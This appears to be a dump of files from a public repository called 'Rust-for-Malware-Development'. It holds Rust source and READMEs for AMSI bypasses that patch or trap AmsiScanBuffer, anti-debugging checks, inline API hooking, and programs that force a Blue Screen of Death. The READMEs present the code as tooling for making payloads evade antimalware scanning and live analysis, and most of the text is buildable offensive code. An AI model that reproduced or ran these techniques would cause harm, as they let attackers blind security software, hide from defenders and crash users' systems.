let p_amsi_scan_buffer = match find_api(amsi_base, AMSI_SCAN_BUFFER_HASH) {
Some(addr) => addr,
None => {
eprintln!("[ERROR] Failed to find AmsiScanBuffer");
return;
}
};
// Cache for the VEH so it doesnt walk PEB / parse PE on every fire.
G_AMSI_SCAN_BUFFER.store(p_amsi_scan_buffer, Ordering::Relaxed);
let h_vectored_exception_handler =
unsafe { RtlAddVectoredExceptionHandler(1, vectored_exception_handler) };
if h_vectored_exception_handler.is_null() {
eprintln!("[ERROR] Failed to add VEH");
return;
}
eprintln!("[DEBUG] VEH added: {:p}", h_vectored_exception_handler);
let mut p_func = p_amsi_scan_buffer as *mut c_void;
let mut number_of_bytes_to_protect: usize = 1;
let mut old_protect: u32 = 0;
let status = unsafe {
NtProtectVirtualMemory(
-1isize as HANDLE,
&mut p_func,
&mut number_of_bytes_to_protect,
PAGE_EXECUTE_READ | PAGE_GUARD,
&mut old_protect,
)
};
if !nt_success(status) {
eprintln!("[ERROR] NtProtectVirtualMemory failed: 0x{:x}", status);
unsafe { RtlRemoveVectoredExceptionHandler(h_vectored_exception_handler) };
return;
}
eprintln!("[DEBUG] Page guarded (old protect: 0x{:x})", old_protect);
eprintln!("[DEBUG] Testing bypass...");
if test_amsi_bypass(amsi_base, p_amsi_scan_buffer) {
eprintln!("[SUCCESS] Bypass works! Result forced to CLEAN");
} else {
eprintln!("[FAIL] Test failed - check AMSI context/session resolution");
}
eprintln!("[+] Setup complete - keeping process alive for testing");
let long_delay = LARGE_INTEGER {
QuadPart: -1i64 * 1_000_000_000,
};
loop {
unsafe { NtDelayExecution(0, &long_delay as *const _ as PLARGE_INTEGER) };
}
}
+14
View File
@@ -0,0 +1,14 @@
[package]
name = "Amsi_simple_patch"
version = "0.1.0"
edition = "2024"
[dependencies.windows]
version = "0.62.0"
features = [
"Win32_Foundation",
"Win32_System_Memory",
"Win32_System_Threading",
"Win32_System_LibraryLoader",
"Win32_System_Diagnostics_Debug"
]
+92
View File
@@ -0,0 +1,92 @@
use windows::{
core::s,
Win32::{
Foundation::GetLastError,
System::{
Diagnostics::Debug::WriteProcessMemory,
LibraryLoader::{GetProcAddress, LoadLibraryA},
Memory::{PAGE_PROTECTION_FLAGS, PAGE_READWRITE, VirtualProtect},
Threading::GetCurrentProcess,
},
},
core::{PCSTR, Result},
};
use std::ffi::CString;
fn main() -> Result<()> {
println!("[+] Patching AMSI for current Process");
let patch = [0x40, 0x40, 0x40, 0x40u8, 0x40, 0x40];
let name = s!("amsi.dll");
let dll = unsafe { LoadLibraryA(name) }?;
if dll.0.is_null() {
return Err(windows::core::Error::from(unsafe { GetLastError() }));
}
let name = CString::new("AmsiScanBuffer").unwrap();
let addr = unsafe {
GetProcAddress(dll, PCSTR(name.as_ptr() as *const u8))
.expect("[-] Unable to get Process Addr")
};
let mut old_permissions = PAGE_PROTECTION_FLAGS(0);
let result = unsafe {
VirtualProtect(
addr as *const _,
patch.len(),
PAGE_READWRITE,
&mut old_permissions,
)
};
if result.is_err() {
unsafe {
return Err(windows::core::Error::from(GetLastError()));
}
}
let mut bytes_written: usize = 0;
let result = unsafe {
WriteProcessMemory(
GetCurrentProcess(),
addr as *const _,
patch.as_ptr() as *const _,
patch.len(),
Some(&mut bytes_written),
)
};
if result.is_err() {
unsafe {
return Err(windows::core::Error::from(GetLastError()));
}
}
let mut final_permissions = PAGE_PROTECTION_FLAGS(0);
let result = unsafe {
VirtualProtect(
addr as *const _,
patch.len(),
old_permissions,
&mut final_permissions,
)
};
if result.is_err() {
unsafe {
return Err(windows::core::Error::from(GetLastError()));
}
}
println!("[+] AmsiScanBuffer patched!");
Ok(())
}
+25
View File
@@ -0,0 +1,25 @@
## AMSI Bypass
Welcome to the **AMSI BYPASS** directory of [`Rust-for-Malware-Development`](https://github.com/Whitecat18/Rust-for-Malware-Development).
This folder collects different ways to silence the Windows Antimalware Scan Interface (AMSI) so that scripts and payloads slip past `AmsiScanBuffer` without being flagged.
## Sections & Links
- [Amsi_HBP](https://github.com/Whitecat18/Rust-for-Malware-Development/tree/main/AMSI%20BYPASS/Amsi_HBP):
Hardware-breakpoint bypass. Uses the CPU debug registers to intercept `AmsiScanBuffer` and force it to return a "clean" result without modifying `amsi.dll` on disk.
- [Amsi_Page_Guard_Exceptions](https://github.com/Whitecat18/Rust-for-Malware-Development/tree/main/AMSI%20BYPASS/Amsi_Page_Guard_Exceptions):
Patchless bypass. Turns the AMSI code page into a guarded trap so every call raises an exception, then a vectored handler rewrites the result to `AMSI_RESULT_CLEAN` and fakes a return.
- [Amsi_simple_patch](https://github.com/Whitecat18/Rust-for-Malware-Development/tree/main/AMSI%20BYPASS/Amsi_simple_patch):
Classic in-memory patch. Overwrites the first few bytes of `AmsiScanBuffer` with `mov eax, 0; ret` so the scanner always reports success.
## How to Use
Clone the repository and step into the folder:
```bash
git clone https://github.com/Whitecat18/Rust-for-Malware-Development.git
cd Rust-for-Malware-Development/AMSI\ BYPASS
```
Each sub-folder is its own Cargo project. Open the one you want and build with `cargo build --release`.
+25
View File
@@ -0,0 +1,25 @@
# This file is automatically @generated by Cargo.
# It is not intended for manual editing.
version = 4
[[package]]
name = "CheckRemoteDebuggerPresent"
version = "0.1.0"
dependencies = [
"windows-sys",
]
[[package]]
name = "windows-link"
version = "0.2.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5"
[[package]]
name = "windows-sys"
version = "0.61.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc"
dependencies = [
"windows-link",
]
@@ -0,0 +1,14 @@
[package]
name = "CheckRemoteDebuggerPresent"
version = "0.1.0"
edition = "2024"
[dependencies]
[dependencies.windows-sys]
version = "0.61.2"
features = [
"Win32_Foundation",
"Win32_System_Diagnostics_Debug",
"Win32_System_Threading"
]
@@ -0,0 +1,23 @@
use windows_sys::Win32::System::{
Diagnostics::Debug::CheckRemoteDebuggerPresent,
Threading::{ExitProcess, GetCurrentProcess},
};
fn main() {
unsafe {
let mut is_debugger_present = 0;
let status = CheckRemoteDebuggerPresent(GetCurrentProcess(), &mut is_debugger_present);
if status != 0 && is_debugger_present == 1 {
println!("Debugger detected! Exiting process...");
let mut string = String::new();
std::io::stdin().read_line(&mut string).unwrap();
ExitProcess(u32::MAX);
} else {
println!("No debugger detected. Proceeding...");
}
}
}
+25
View File
@@ -0,0 +1,25 @@
# This file is automatically @generated by Cargo.
# It is not intended for manual editing.
version = 4
[[package]]
name = "ProcessDebugPort"
version = "0.1.0"
dependencies = [
"windows-sys",
]
[[package]]
name = "windows-link"
version = "0.2.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5"
[[package]]
name = "windows-sys"
version = "0.61.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc"
dependencies = [
"windows-link",
]
+15
View File
@@ -0,0 +1,15 @@
[package]
name = "ProcessDebugPort"
version = "0.1.0"
edition = "2024"
[dependencies]
[dependencies.windows-sys]
version = "0.61.2"
features = [
"Win32_Foundation",
"Win32_System_Diagnostics_Debug",
"Win32_System_Threading",
"Win32_System_LibraryLoader",
]
@@ -0,0 +1,55 @@
use std::ffi::CString;
use windows_sys::Win32::System::LibraryLoader::{GetProcAddress, LoadLibraryA};
use windows_sys::Win32::System::Threading::{ExitProcess, GetCurrentProcess};
const PROCESS_DEBUG_PORT: u32 = 7;
use windows_sys::Win32::Foundation::{HANDLE, NTSTATUS};
use windows_sys::core::s;
#[allow(non_snake_case)]
type NtQueryInfoProc = unsafe extern "system" fn(
ProcessHandle: HANDLE,
ProcessInformationClass: u32,
ProcessInformation: *mut i32,
ProcessInformationLength: u32,
ReturnLength: *mut u32,
) -> NTSTATUS;
fn main() {
unsafe {
let h_ntdll = LoadLibraryA(s!("ntdll.dll"));
if !h_ntdll.is_null() {
let func_name = CString::new("NtQueryInformationProcess").unwrap();
let func_ptr = GetProcAddress(h_ntdll, func_name.as_ptr() as *const u8);
if let Some(func_ptr) = func_ptr {
let nt_query_info_process: NtQueryInfoProc = std::mem::transmute(func_ptr);
let mut debug_port: i32 = 0;
let mut return_len: u32 = 0;
let status = nt_query_info_process(
GetCurrentProcess(),
PROCESS_DEBUG_PORT,
&mut debug_port,
std::mem::size_of::<i32>() as u32,
&mut return_len,
);
if status >= 0 && debug_port == -1 {
println!("Debugger detected via ProcessDebugPort! Exiting...");
ExitProcess(u32::MAX);
} else {
println!("No debugger detected (Port value: {:#X}).", debug_port);
}
}
}
}
let mut string = String::new();
std::io::stdin().read_line(&mut string).unwrap();
}
+31
View File
@@ -0,0 +1,31 @@
## Anti-Debugging in Rust
Welcome to the **AntiDebugging** directory of [`Rust-for-Malware-Development`](https://github.com/Whitecat18/Rust-for-Malware-Development).
These PoCs let a process notice when it is being watched by a debugger and bail out (or misbehave) when it is. Useful in stealth payloads that want to dodge live analysis.
## Sections & Links
- [CheckRemoteDebuggerPresent](https://github.com/Whitecat18/Rust-for-Malware-Development/tree/main/AntiDebugging/CheckRemoteDebuggerPresent):
Calls `CheckRemoteDebuggerPresent` — the documented Win32 way to ask Windows whether a debugger is attached to a given process.
- [ProcessDebugPort](https://github.com/Whitecat18/Rust-for-Malware-Development/tree/main/AntiDebugging/ProcessDebugPort):
Queries `NtQueryInformationProcess(ProcessDebugPort)`. If a debugger is attached the port is non-zero.
- [UnhandledExceptionFilter](https://github.com/Whitecat18/Rust-for-Malware-Development/tree/main/AntiDebugging/UnhandledExceptionFilter):
Triggers an exception on purpose and watches the filter chain. Under a debugger the unhandled-exception filter does not fire, which gives the trick away.
- [debug_teb](https://github.com/Whitecat18/Rust-for-Malware-Development/tree/main/AntiDebugging/debug_teb):
Reads the `BeingDebugged` flag directly out of the PEB through the TEB. No API call, so it is harder for an EDR to hook.
## How to Use
```bash
git clone https://github.com/Whitecat18/Rust-for-Malware-Development.git
cd Rust-for-Malware-Development/AntiDebugging
```
Each sub-folder is its own Cargo project. Build with `cargo build --release`.
## Resources
* https://anti-debug.checkpoint.com/
+25
View File
@@ -0,0 +1,25 @@
# This file is automatically @generated by Cargo.
# It is not intended for manual editing.
version = 4
[[package]]
name = "UnhandledExceptionFilter"
version = "0.1.0"
dependencies = [
"windows-sys",
]
[[package]]
name = "windows-link"
version = "0.2.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5"
[[package]]
name = "windows-sys"
version = "0.61.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc"
dependencies = [
"windows-link",
]
@@ -0,0 +1,15 @@
[package]
name = "UnhandledExceptionFilter"
version = "0.1.0"
edition = "2024"
[dependencies]
[dependencies.windows-sys]
version = "0.61.2"
features = [
"Win32_Foundation",
"Win32_System_Kernel",
"Win32_System_Diagnostics_Debug",
"Win32_System_Threading"
]
@@ -0,0 +1,38 @@
use windows_sys::Win32::System::Diagnostics::Debug::{
EXCEPTION_CONTINUE_EXECUTION, EXCEPTION_POINTERS, SetUnhandledExceptionFilter,
};
extern "system" fn unhandled_filter(info: *const EXCEPTION_POINTERS) -> i32 {
unsafe {
let context = &mut *(*info).ContextRecord;
context.Rip += 3;
}
EXCEPTION_CONTINUE_EXECUTION
}
fn main() {
unsafe {
SetUnhandledExceptionFilter(Some(unhandled_filter));
let mut is_debugged: u8 = 1;
core::arch::asm!(
"int 3", // Byte 1: Trigger Exception
"jmp 2f", // Byte 2,3: Jump to label '2' (skips the next line)
"mov {0}, 0", // Byte 4+: If we get here, the Filter ran! Set is_debugged = 0
"2:", // Label '2'
inout(reg_byte) is_debugged,
);
if is_debugged == 1 {
println!("Debugger Detected!");
} else {
println!("No Debugger Detected.");
}
let mut s = String::new();
std::io::stdin().read_line(&mut s).unwrap();
}
}
+23
View File
@@ -0,0 +1,23 @@
[package]
name = "debug_teb"
version = "0.1.0"
edition = "2024"
[dependencies]
[dependencies.windows-sys]
version = "0.61.2"
features = [
"Win32_Foundation",
"Win32_System_Threading",
"Win32_System_Memory",
"Win32_Security",
"Win32_Storage_FileSystem",
"Win32_System_Diagnostics_Debug",
"Win32_System_LibraryLoader",
"Win32_Security_Cryptography",
"Win32_System_Com",
"Win32_System_Registry",
"Win32_UI_Shell_Common",
"Win32_UI_WindowsAndMessaging"
]
+35
View File
@@ -0,0 +1,35 @@
use windows_sys::Win32::UI::WindowsAndMessaging::{MB_OK, MessageBoxA};
use std::arch::asm;
use windows_sys::core::s;
fn check_teb() -> i32 {
#[allow(unused_assignments)]
let mut is_being_debugged: i32 = 0;
unsafe {
asm!(
"mov rax, gs:[0x60]",
"movzx eax, byte ptr [rax + 0x02]",
"mov {0:e}, eax",
out(reg) is_being_debugged,
);
}
is_being_debugged
}
fn main() {
if check_teb() != 0 {
unsafe {
MessageBoxA(
std::ptr::null_mut(),
s!("Debugger Detected"),
s!("Info"),
MB_OK,
);
}
}
}
+13
View File
@@ -0,0 +1,13 @@
[package]
name = "Api_Hooking"
version = "0.1.0"
edition = "2024"
[dependencies]
widestring = "1.2.0"
windows = { version = "0.61.1", features = [
"Win32_Foundation",
"Win32_System_LibraryLoader",
"Win32_System_Memory",
"Win32_UI_WindowsAndMessaging",
] }
+70
View File
@@ -0,0 +1,70 @@
# API Hooking using Trampoline
![Demo](./demp.gif)
## Explanation
The System API Interceptor is a Rust-based utility for intercepting and monitoring Windows API calls, specifically targeting the `MessageBoxA` function in `user32.dll`. It employs inline function hooking via a trampoline to redirect calls to a custom handler, log parameters, and invoke `MessageBoxW` with modified text.
d
### How It Works [Step-By-Step]
1. **Interceptor Structure (`ApiInterceptor`)**:
- Stores the target function address (`MessageBoxA`), replacement function address, original code bytes, and original memory protection state.
- Uses a fixed-size array (`INTERCEPTOR_SIZE`) for storing original bytes (14 bytes for 64-bit, 5 bytes for 32-bit).
2. **Setup (`setup_interceptor`)**:
- Resolves `MessageBoxA` address using `GetModuleHandleA` and `GetProcAddress`.
- Copies the first `INTERCEPTOR_SIZE` bytes of `MessageBoxA` to preserve the original code.
- Changes memory protection to `PAGE_EXECUTE_READWRITE` using `VirtualProtect` to allow code modification.
3. **Activation (`activate_interceptor`)**:
- Constructs a trampoline to redirect execution:
- **64-bit**: Uses `jmp [rip+0]` (6 bytes) followed by an 8-byte absolute address of the custom handler.
- **32-bit**: Uses `jmp <relative>` (5 bytes) with a relative offset to the custom handler.
- Writes the trampoline to the `MessageBoxA` entry point, ensuring minimal instruction overwriting.
4. **Custom Handler (`custom_dialog`)**:
- Logs input parameters (`lpText`, `lpCaption`) using `CStr::to_string_lossy`.
- Converts new text to UTF-16 using `WideCString` for `MessageBoxW`.
- Calls `MessageBoxW` with modified text ("Smukx Is Good") and caption ("System Dialog").
5. **Deactivation (`deactivate_interceptor`)**:
- Restores the original `MessageBoxA` bytes from the stored copy.
- Reverts memory protection to its original state using `VirtualProtect`.
- Clears the interceptor structure to prevent reuse.
6. **Safety Considerations**:
- Uses `unsafe` blocks for WinAPI calls and pointer operations, ensuring controlled access.
- Validates pointers and handles errors from WinAPI functions (e.g., `GetLastError`).
- Maintains thread safety by avoiding shared mutable state.
### Key Features
- **Cross-Architecture**: Adapts trampoline construction for 32-bit and 64-bit systems.
- **Non-Invasive**: Preserves original function behavior during deactivation.
- **Error Handling**: Checks for null pointers and failed WinAPI calls.
- **Logging**: Outputs parameter details for debugging and monitoring.
## How to Compile and Use It
1. **Compilation**:
- Build: `cargo build --release`.
- Output: `target/release/Api_Hooking.exe`.
2. **Execution**:
- Run: `target/release/Api_Hooking.exe`.
- Behavior:
- Displays an initial `MessageBoxA` dialog.
- Activates interceptor, showing a modified `MessageBoxW` dialog.
- Deactivates interceptor and shows a final `MessageBoxA` dialog.
- Exits on Enter key press.
- Run as administrator if memory protection changes fail.
3. Download the Snippet: [Download](https://download.5mukx.site/#/home?url=https://github.com/Whitecat18/Rust-for-Malware-Development/tree/main/Api_Hooking)
## Credits
- https://github.com/ZeroMemoryEx/TrampHook
- https://www.ired.team/offensive-security/code-injection-process-injection/how-to-hook-windows-api-using-c++
- https://www.packtpub.com/en-us/product/mastering-malware-analysis-9781789610789/chapter/inspecting-process-injection-and-api-hooking-6/section/inline-api-hooking-with-trampoline-ch06lvl1sec86
## Author
[@5mukx](https://x.com/5mukx)
Binary file not shown.

After

Width:  |  Height:  |  Size: 302 KiB

+241
View File
@@ -0,0 +1,241 @@
/*
API Hooking Via Trampoline
@5mukx
*/
use std::ptr::{null_mut, copy_nonoverlapping};
use windows::{
core::{s, PCSTR, PCWSTR},
Win32::{
Foundation::HWND,
System::{
LibraryLoader::{GetModuleHandleA, GetProcAddress},
Memory::{VirtualProtect, PAGE_EXECUTE_READWRITE, PAGE_PROTECTION_FLAGS},
}, UI::WindowsAndMessaging::{MessageBoxA, MessageBoxW, MB_ICONINFORMATION, MB_OK},
}
};
use widestring::WideCString;
const INTERCEPTOR_SIZE: usize = 14;
#[repr(C)]
struct ApiInterceptor {
target_function: *mut std::ffi::c_void,
replacement_function: *mut std::ffi::c_void,
original_code: [u8; INTERCEPTOR_SIZE],
original_protection: PAGE_PROTECTION_FLAGS,
}
impl ApiInterceptor {
fn new() -> Self {
ApiInterceptor {
target_function: null_mut(),
replacement_function: null_mut(),
original_code: [0; INTERCEPTOR_SIZE],
original_protection: PAGE_PROTECTION_FLAGS(0),
}
}
}
fn main(){
unsafe {
let user32 = GetModuleHandleA(s!("user32.dll")).expect("Failed to get user32.dll handle");
let dialog_func = GetProcAddress(user32, s!("MessageBoxA")).expect("Failed to get MessageBox Address");
let mut interceptor = ApiInterceptor::new();
if !setup_interceptor(
dialog_func as *mut std::ffi::c_void,
custom_dialog as *mut std::ffi::c_void,
&mut interceptor,
) {
println!("[ERROR] Interceptor setup failed");
return;
}
let text1 = s!("Testing 5mukx System");
let caption1 = s!("System Info");
MessageBoxA(
None,
text1,
caption1,
MB_OK | MB_ICONINFORMATION,
);
println!("[INFO] Activating API Interceptor...");
if !activate_interceptor(&mut interceptor) {
println!("[ERROR] Interceptor activation failed");
return;
}
println!("[INFO] Interceptor activated");
if !activate_interceptor(&mut interceptor) {
println!("[ERROR] Interceptor activation failed");
return;
}
println!("[INFO] Interceptor activated");
let text2 = s!("Smukx Is Bad Guy...");
let caption2 = s!("System Info");
MessageBoxA(
None,
text2,
caption2,
MB_OK | MB_ICONINFORMATION,
);
println!("[INFO] Deactivating API interceptor...");
if !deactivate_interceptor(&mut interceptor) {
println!("[ERROR] Interceptor deactivation failed");
return;
}
println!("[INFO] Interceptor deactivated");
let text3 = s!("Smukx System Restored");
let caption3 = s!("System Info");
MessageBoxA(
None,
text3,
caption3,
MB_OK | MB_ICONINFORMATION,
);
println!("[INFO] PoC Demonstrated Successfully");
}
}
fn setup_interceptor(
target_function: *mut std::ffi::c_void,
replacement_function: *mut std::ffi::c_void,
interceptor: &mut ApiInterceptor,
) -> bool{
if target_function.is_null() || replacement_function.is_null(){
return false;
}
interceptor.target_function = target_function;
interceptor.replacement_function = replacement_function;
unsafe {
copy_nonoverlapping(
target_function as *const u8,
interceptor.original_code.as_mut_ptr(),
INTERCEPTOR_SIZE,
);
let mut old_protection = PAGE_PROTECTION_FLAGS(0);
if let Err(e) = VirtualProtect(
target_function,
INTERCEPTOR_SIZE,
PAGE_EXECUTE_READWRITE,
&mut old_protection,
) {
println!("[!] Memory Protection change failed: {:?}", e);
return false;
}
interceptor.original_protection = old_protection;
}
true
}
fn activate_interceptor(interceptor: &mut ApiInterceptor) -> bool {
if interceptor.target_function.is_null() || interceptor.replacement_function.is_null() {
return false;
}
unsafe {
// far jump instruction (JMP)
// 6 bytes for the JMP instruction (0xFF 0x25 0x00 0x00 0x00 0x00).
// 8 bytes for the 64-bit address of the target function.
let interceptor_code: [u8; INTERCEPTOR_SIZE] = [
// JMP [RIP + 0]
0xFF, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
];
let patch = interceptor.replacement_function as u64;
copy_nonoverlapping(
&patch as *const _ as *const u8,
(interceptor.target_function as *mut u8).offset(6),
std::mem::size_of::<u64>(),
);
copy_nonoverlapping(
interceptor_code.as_ptr(),
interceptor.target_function as *mut u8,
6,
);
}
true
}
fn deactivate_interceptor(interceptor: &mut ApiInterceptor) -> bool {
if interceptor.target_function.is_null() {
return false;
}
unsafe {
copy_nonoverlapping(
interceptor.original_code.as_ptr(),
interceptor.target_function as *mut u8,
INTERCEPTOR_SIZE,
);
std::ptr::write_bytes(interceptor.original_code.as_mut_ptr(), 0, INTERCEPTOR_SIZE);
let mut old_protection = PAGE_PROTECTION_FLAGS(0);
if let Err(e) = VirtualProtect(
interceptor.target_function,
INTERCEPTOR_SIZE,
interceptor.original_protection,
&mut old_protection,
) {
println!("[!] Memory protection restoration failed: {:?}", e);
return false;
}
interceptor.target_function = null_mut();
interceptor.replacement_function = null_mut();
interceptor.original_protection = PAGE_PROTECTION_FLAGS(0);
}
true
}
unsafe extern "system" fn custom_dialog(
hwnd: HWND,
lp_text: PCSTR,
lp_caption: PCSTR,
u_type: u32,
) -> i32 {
let text = unsafe { lp_text.to_string().unwrap_or_default() };
let caption = unsafe { lp_caption.to_string().unwrap_or_default() } ;
println!("[INFO] Dialog Parameters:");
println!("\tText: {}", text);
println!("\tCaption: {}", caption);
let new_text = WideCString::from_str("5mukx Is a Good Guy").unwrap();
let new_caption = WideCString::from_str("System Dialog").unwrap();
unsafe {
MessageBoxW(
Some(hwnd),
PCWSTR::from_raw(new_text.as_ptr()),
PCWSTR::from_raw(new_caption.as_ptr()),
windows::Win32::UI::WindowsAndMessaging::MESSAGEBOX_STYLE(u_type),
).0
}
}
+19
View File
@@ -0,0 +1,19 @@
# BSOD Techniques in Rust &nbsp;&nbsp;&nbsp;&nbsp;
![Blue Screen Of Death](https://cdn.mos.cms.futurecdn.net/PJyEybKyQhGBpM4QXw7ccH.jpg)
Here you can find the BSOD implementation techniques.
* [NtRaiseHardError](./bsod_NtRaiseHardError/)
* [CloseWindowStation](./closewindowstation/)
* [LookupPrivilegeValue](./lookupprivilegevalue/)
* [WinLogon](./ntsd_winlogon/)
* [NtSetInformationProcess](./ntsetinformationprocess/)
* [RtlAdjustPrivilege](./rtladjustprivilege/)
BSOD Techniques: [Download](https://download.5mukx.site/#/home?url=https://github.com/Whitecat18/Rust-for-Malware-Development/tree/main/BSOD)
> NOTE: These are old techniques that I found on a forum and I could not find the original authors.
For Errors DM: [@5mukx](https://x.com/5mukx)
+9
View File
@@ -0,0 +1,9 @@
[package]
name = "bsod_NtRaiseHardError"
version = "0.1.0"
edition = "2021"
[dependencies]
ntapi = "0.4.1"
winapi = { version = "0.3.9", features = ["winbase", "winuser", "winnt", "wincon"] }
+41
View File
@@ -0,0 +1,41 @@
# BSOD NtRaiseHardError
This Rust program demonstrates how to trigger a Blue Screen of Death (BSOD) using NtRaiseHardError with random error codes.
[Download](https://download.5mukx.site/#/home?url=https://github.com/Whitecat18/Rust-for-Malware-Development/tree/main/BSOD/bsod_NtRaiseHardError)
## Features
- Hides the console window
- Sets process priority to high
- Enables shutdown privileges using RtlAdjustPrivilege
- Generates random BSOD error codes
- Triggers BSOD using NtRaiseHardError
- Shows error message in case of failure
## Dependencies
- winapi
- ntapi
## Usage
1. Build the project:
```bash
cargo build --release
```
2. Run the executable:
```bash
cargo run --release
```
## Technical Details
- Uses RtlAdjustPrivilege to enable shutdown privileges (privilege ID: 19)
- Generates random error codes in the format: 0xC000_0000 | ((random & 0xF00) << 8) | ((random & 0xF0) << 4) | (random & 0xF)
- Sets process priority to HIGH_PRIORITY_CLASS
- Hides the console window using ShowWindow with SW_HIDE
## Warning
This program is for educational purposes only. Running it will cause your system to crash with a Blue Screen of Death.
## Author
@5mukx
+85
View File
@@ -0,0 +1,85 @@
// BSOD Trigger
// Author: @5mukx
use std::{io::Write, ptr::null_mut};
use std::io;
use ntapi::{ntexapi::NtRaiseHardError, ntrtl::RtlAdjustPrivilege};
use std::time::SystemTime;
use winapi::{
shared::{
ntdef::{BOOLEAN, NTSTATUS},
ntstatus::STATUS_SUCCESS,
},
um::{
processthreadsapi::{GetCurrentProcess, SetPriorityClass},
winbase::HIGH_PRIORITY_CLASS,
wincon::GetConsoleWindow,
winuser::{MessageBoxW, ShowWindow, MB_ICONEXCLAMATION, MB_OK, MB_SYSTEMMODAL, SW_HIDE},
},
};
fn main() {
unsafe {
// new way to hide the console !
let stdout = io::stdout();
let mut stdout = stdout.lock();
writeln!(stdout, "[#] Trying to Hide Window !").expect("Error");
stdout.flush().expect("error");
let console_window = GetConsoleWindow();
ShowWindow(console_window, SW_HIDE);
SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS);
let mut error_ret = STATUS_SUCCESS;
// enable shutdown privileges !
let mut enabled: BOOLEAN = 0;
let privilege = RtlAdjustPrivilege(19, 1 as BOOLEAN, 0 as BOOLEAN, &mut enabled);
if privilege != STATUS_SUCCESS {
error_ret = privilege;
cleanup(error_ret);
return;
}
// Trigger BSOD
let mut u_resp: u32 = 0;
let random = (SystemTime::now()
.duration_since(SystemTime::UNIX_EPOCH)
.unwrap()
.as_secs() as u32)
& 0xF_FFFF;
let bsod_code =
0xC000_0000 | ((random & 0xF00) << 8) | ((random & 0xF0) << 4) | (random & 0xF);
let bsod = NtRaiseHardError(bsod_code as NTSTATUS, 0, 0, null_mut(), 6, &mut u_resp);
if bsod != STATUS_SUCCESS {
error_ret = bsod;
cleanup(error_ret);
return;
}
cleanup(error_ret);
}
}
unsafe fn cleanup(error_ret: NTSTATUS) {
if error_ret != STATUS_SUCCESS {
let message = format!("0x{:08X}", error_ret);
let message_wide: Vec<u16> = message.encode_utf16().chain(Some(0)).collect();
MessageBoxW(
null_mut(),
message_wide.as_ptr(),
"Returned\0".as_ptr() as *const u16,
MB_OK | MB_ICONEXCLAMATION | MB_SYSTEMMODAL,
);
}
}
+16
View File
@@ -0,0 +1,16 @@
[package]
name = "closewindowstation"
version = "0.1.0"
edition = "2021"
[dependencies]
winapi = { version = "0.3", features = [
"consoleapi",
"handleapi",
"minwindef",
"winbase",
"wincon",
"winuser",
"windowsx",
"winnt",
] }
+39
View File
@@ -0,0 +1,39 @@
# CloseWindowStation BSOD
A Rust program that demonstrates how to trigger a Blue Screen of Death (BSOD) by manipulating window station handles.
[Download](https://download.5mukx.site/#/home?url=https://github.com/Whitecat18/Rust-for-Malware-Development/tree/main/BSOD/closewindowstation)
## Description
This program demonstrates a technique to trigger a BSOD by:
1. Creating a new window station
2. Setting handle information to protect from close
3. Manipulating window station handles
4. Using specific memory addresses for system stability
## Features
- Uses Windows API functions for window station manipulation
- Demonstrates handle protection techniques
- Hides console window during execution
## Dependencies
- winapi
## Usage
1. Compile the program using Cargo
2. Run the executable
3. BSOD will be triggered through window station manipulation
## Technical Details
The program uses several Windows API functions:
- CreateWindowStationA
- SetHandleInformation
- GetConsoleWindow
- ShowWindow
## Warning
This program is for educational purposes only. Running it will cause a system crash and data loss. Use with caution and only in controlled environments.
## Author
@5mukx
+42
View File
@@ -0,0 +1,42 @@
/*
Trigger BSOD Using CloseWindowStation()
@5mukx
*/
use std::ptr::null_mut;
use winapi::{
ctypes::c_void,
shared::{
minwindef::HWINSTA,
windef::HWND},
um::{
handleapi::SetHandleInformation,
minwinbase::SECURITY_ATTRIBUTES,
winbase::HANDLE_FLAG_PROTECT_FROM_CLOSE,
wincon::GetConsoleWindow,
winuser::{CreateWindowStationA, ShowWindow, SW_HIDE}
}
};
fn main(){
unsafe{
let hwnd: HWND = GetConsoleWindow();
ShowWindow(hwnd, SW_HIDE);
let dwaddr: u32 = 0x80000000 | 0x40000000;
let hwinsta:HWINSTA = CreateWindowStationA(
"WindowStation\0".as_ptr() as *const i8,
0,
dwaddr,
null_mut() as *mut SECURITY_ATTRIBUTES,
);
SetHandleInformation(
hwinsta as *mut c_void,
HANDLE_FLAG_PROTECT_FROM_CLOSE,
HANDLE_FLAG_PROTECT_FROM_CLOSE,
);
}
}
+8
View File
@@ -0,0 +1,8 @@
[package]
name = "lookupprivilegevalue"
version = "0.1.0"
edition = "2021"
[dependencies]
winapi = { version = "0.3", features = ["ntstatus", "processthreadsapi", "errhandlingapi", "securitybaseapi", "winbase", "winnt", "wtypesbase"] }
ntapi = "0.4"
+40
View File
@@ -0,0 +1,40 @@
# LookupPrivilegeValue BSOD
A Rust program that demonstrates how to trigger a Blue Screen of Death (BSOD) by manipulating system privileges and using the NtRaiseHardError API.
[Download](https://download.5mukx.site/#/home?url=https://github.com/Whitecat18/Rust-for-Malware-Development/tree/main/BSOD/lookupprivilegevalue)
## Author
@5mukx
## Description
This program demonstrates a technique to trigger a BSOD by:
1. Obtaining process token with necessary privileges
2. Looking up and enabling the shutdown privilege
3. Adjusting token privileges
4. Raising a hard error using NtRaiseHardError
## Features
- Uses Windows API functions for privilege manipulation
- Demonstrates proper error handling
- Interactive user prompt before triggering BSOD
## Dependencies
- winapi
- ntapi
## Usage
1. Compile the program using Cargo
2. Run the executable
3. Press any key when prompted to trigger the BSOD
## Technical Details
The program uses several Windows API functions:
- OpenProcessToken
- LookupPrivilegeValueA
- AdjustTokenPrivileges
- NtRaiseHardError
## Warning
This program is for educational purposes only. Running it will cause a system crash and data loss. Use with caution and only in controlled environments.
+92
View File
@@ -0,0 +1,92 @@
